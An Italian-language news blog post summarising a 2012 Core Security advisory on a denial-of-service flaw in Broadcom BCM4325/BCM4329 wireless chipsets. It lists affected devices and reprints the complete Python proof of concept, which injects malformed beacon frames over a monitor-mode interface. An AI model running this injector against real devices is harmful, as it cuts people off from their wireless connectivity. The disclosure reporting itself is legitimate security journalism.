Categories
Hacking News

Negazione di servizio (wireless) sui cellulari

E’ uscito il 23 Ottobre 2012 l’advisory della Core Security e spiega come sia possibile negare il servizio wireless su alcuni modelli di cellulari (e di macchine).

Si tratta proprio di DoS (appunto Denial of Services) ed affligge i chipset Broadcom BCM4325 e BCM4329.
Mandando dei pacchetti malformati al dispositivo è possibile manomettere le normali funzionalità del wireless del telefono, causando quindi impossibilità di navigare.

Alcuni esempi di telefoni vulnerabili a questo attacco sono:

 

  • BCM4325
    • Apple iPhone 3GS
    • Apple iPod 2G
    • HTC Touch Pro 2
    • HTC Droid Incredible
    • Samsung Spica
    • Acer Liquid
    • Motorola Devour
    • Ford Edge (yes, it’s a car)
  • BCM4329
    • Apple iPhone 4
    • Apple iPhone 4 Verizon
    • Apple iPod 3G
    • Apple iPad Wi-Fi
    • Apple iPad 3G
    • Apple iPad 2
    • Apple Tv 2G
    • Motorola Xoom
    • Motorola Droid X2
    • Motorola Atrix
    • Samsung Galaxy Tab
    • Samsung Galaxy S 4G
    • Samsung Nexus S
    • Samsung Stratosphere
    • Samsung Fascinate
    • HTC Nexus One
    • HTC Evo 4G
    • HTC ThunderBolt
    • HTC Droid Incredible 2
    • LG Revolution
    • Sony Ericsson Xperia Play
    • Pantech Breakout
    • Nokia Lumina 800
    • Kyocera Echo
    • Asus Transformer Prime
    • Malata ZPad

La CORE Security Technologies spiega inoltre che con questo tipo di attacco non è possibile compromettere i dati interni al telefono. E’ solo un modo per tener “impegnato” il chipset wireless per non fargli fare nient’altro. E’ stato inoltre rilasciato un POC scritto in python:

------------------------- poc.py -------------------------
#!/usr/bin/env python

import sys
import time
import struct
import PyLorcon2

def beaconFrameGenerator():
    sequence = 0
    while(1):
        sequence = sequence % 4096

        # Frame Control
        frame  = '\x80' # Version: 0 - Type: Managment - Subtype: Beacon
        frame += '\x00' # Flags: 0
        frame += '\x00\x00' # Duration: 0
        frame += '\xff\xff\xff\xff\xff\xff' # Destination: ff:ff:ff:ff:ff:ff
        frame += '\x00\x00\x00\x15\xde\xad' # Source: 00:00:00:15:de:ad
        frame += '\x00\x00\x00\x15\xde\xad' # BSSID: 00:00:00:15:de:ad
        frame += struct.pack('H', sequence) # Fragment: 0 - Sequenence:
part of the generator
        # Frame Body
        frame += struct.pack('Q', time.time()) # Timestamp
        frame += '\x64\x00' # Beacon Interval: 0.102400 seconds
        frame += '\x11\x04' # Capability Information: ESS, Privacy,
Short Slot time
        # Information Elements
        # SSID: buggy
        frame += '\x00\x05buggy'
        # Supported Rates: 1,2,5.5,11,18,24,36,54
        frame += '\x01\x08\x82\x84\x8b\x96\x24\x30\x48\x6c'
        # DS Parameter Set: 6
        frame += '\x03\x01\x06'
        # RSN IE
        frame += '\x30' # ID: 48
        frame += '\x14' # Size: 20
        frame += '\x01\x00' # Version: 1
        frame += '\x00\x0f\xac\x04' # Group cipher suite: TKIP
        frame += '\x01\x00' # Pairwise cipher suite count: 1
        frame += '\x00\x0f\xac\x00' # Pairwise cipher suite 1: TKIP
        frame += '\xff\xff' # Authentication suites count: 65535
        frame += '\x00\x0f\xac\x02' # Pairwise authentication suite 2: PSK
        frame += '\x00\x00'

        sequence += 1
        yield frame

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print "Usage:"
        print "\t%s <wireless interface>" % sys.argv[0]
        sys.exit(-1)

    iface = sys.argv[1]
    context = PyLorcon2.Context(iface)
    context.open_injmon()

    generator = beaconFrameGenerator()

    for i in range(10000):
        frame = generator.next()
        time.sleep(0.100)
        context.send_bytes(frame)

Il baco era stato inizialmente scoperto ad Agosto 2012 e rilasciato poi pubblicamente (dopo un Responsible disclosure) ad Ottobre.

Dato che oramai gli smartphones sono diventati dei veri e proprio computer non c’è da stupirsi che escano advisories che li riguardano.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.